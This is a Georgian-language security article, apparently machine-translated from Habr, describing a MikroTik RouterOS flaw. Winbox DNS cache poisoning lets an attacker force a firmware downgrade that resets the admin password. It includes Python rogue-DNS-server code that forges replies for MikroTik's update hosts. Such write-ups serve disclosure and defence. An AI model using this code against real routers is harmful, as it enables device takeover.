RouterOS-ში Backport დაუცველობა საფრთხეში აყენებს ასობით ათას მოწყობილობას

RouterOS (Mikrotik) ბაზაზე დაფუძნებული მოწყობილობების დისტანციურად შემცირების შესაძლებლობა საფრთხეში აყენებს ასობით ათასი ქსელის მოწყობილობას. დაუცველობა დაკავშირებულია Winbox პროტოკოლის DNS ქეშის მოწამვლასთან და საშუალებას გაძლევთ ჩატვირთოთ მოძველებული (პაროლის ნაგულისხმევი გადატვირთვით) ან შეცვლილი პროგრამული უზრუნველყოფა მოწყობილობაზე.

დაუცველობის დეტალები

RouterOS ტერმინალი მხარს უჭერს გადაჭრის ბრძანებას DNS საძიებლად.

ამ მოთხოვნას განიხილავს ბინარული სისტემა, რომელსაც ეწოდება გადამწყვეტი. Resolver არის ერთ-ერთი მრავალი ბინარიდან, რომელიც უკავშირდება RouterOS-ის Winbox პროტოკოლს. მაღალ დონეზე, Winbox-ის პორტში გაგზავნილი „შეტყობინებები“ შეიძლება გადავიდეს RouterOS-ის სხვადასხვა ბინარებში, მასივზე დაფუძნებული ნუმერაციის სქემის საფუძველზე.

ნაგულისხმევად, RouterOS-ს აქვს DNS სერვერის ფუნქცია გამორთული.

თუმცა, მაშინაც კი, როდესაც სერვერის ფუნქცია გამორთულია, როუტერი ინახავს საკუთარ DNS ქეშს.

როდესაც ჩვენ ვაკეთებთ მოთხოვნას winbox_dns_request გამოყენებით, მაგალითად, example.com, როუტერი ქეშის შედეგს.

ვინაიდან ჩვენ შეგვიძლია განვსაზღვროთ DNS სერვერი, რომლის მეშვეობითაც უნდა წავიდეს მოთხოვნა, არასწორი მისამართების შეყვანა ტრივიალურია. მაგალითად, შეგიძლიათ დააკონფიგურიროთ DNS სერვერის განხორციელება ფილიპ კლაუსიყოველთვის უპასუხოთ A ჩანაწერით, რომელიც შეიცავს IP მისამართს 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

ახლა თუ მოძებნით მაგალითად.com Winbox-ის გამოყენებით, ხედავთ, რომ როუტერის DNS ქეში მოწამლულია.

რა თქმა უნდა, poisoning example.com არ არის ძალიან სასარგებლო, რადგან როუტერი მას რეალურად არ გამოიყენებს. თუმცა, როუტერს სჭირდება წვდომა upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com და download.mikrotik.com. და კიდევ ერთი შეცდომის წყალობით, შესაძლებელია მათი ერთდროულად მოწამვლა.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

როუტერი ითხოვს ერთ ნებართვას და ჩვენ ვაძლევთ ხუთს უკან. როუტერი არ ინახავს ყველა ამ პასუხს სწორად.

ცხადია, ეს შეტევა ასევე სასარგებლოა, თუ როუტერი მოქმედებს როგორც DNS სერვერი, რადგან ის საშუალებას აძლევს როუტერის კლიენტებს თავდასხმა მოახდინონ.

ეს თავდასხმა ასევე საშუალებას გაძლევთ გამოიყენოთ უფრო სერიოზული დაუცველობა: შეანელოთ ან დააბრუნოთ RouterOS-ის ვერსია. თავდამსხმელი ხელახლა ქმნის განახლების სერვერის ლოგიკას, ცვლილებების ჟურნალის ჩათვლით, და აიძულებს RouterOS-ს აღიქვას მოძველებული (დაუცველი) ვერსია, როგორც მიმდინარე. საშიშროება აქ მდგომარეობს იმაში, რომ ვერსიის "განახლებისას", ადმინისტრატორის პაროლი აღდგება ნაგულისხმევ მნიშვნელობამდე - თავდამსხმელს შეუძლია სისტემაში შესვლა ცარიელი პაროლით!

შეტევა საკმაოდ მუშაობს, მიუხედავად იმისა, რომ ავტორი ახორციელებს კიდევ რამდენიმე ვექტორს, მათ შორის დაკავშირებული უკანა კარის ჩასმა firmware-ში, მაგრამ ეს უკვე ზედმეტი ტექნიკაა და მისი არალეგიტიმური მიზნებისთვის გამოყენება უკანონოა.

დაცვის

Winbox-ის უბრალოდ გამორთვა საშუალებას გაძლევთ დაიცვათ თავი ამ შეტევებისგან. Winbox-ის საშუალებით ადმინისტრირების მოხერხებულობის მიუხედავად, უმჯობესია გამოიყენოთ SSH პროტოკოლი.

წყარო: www.habr.com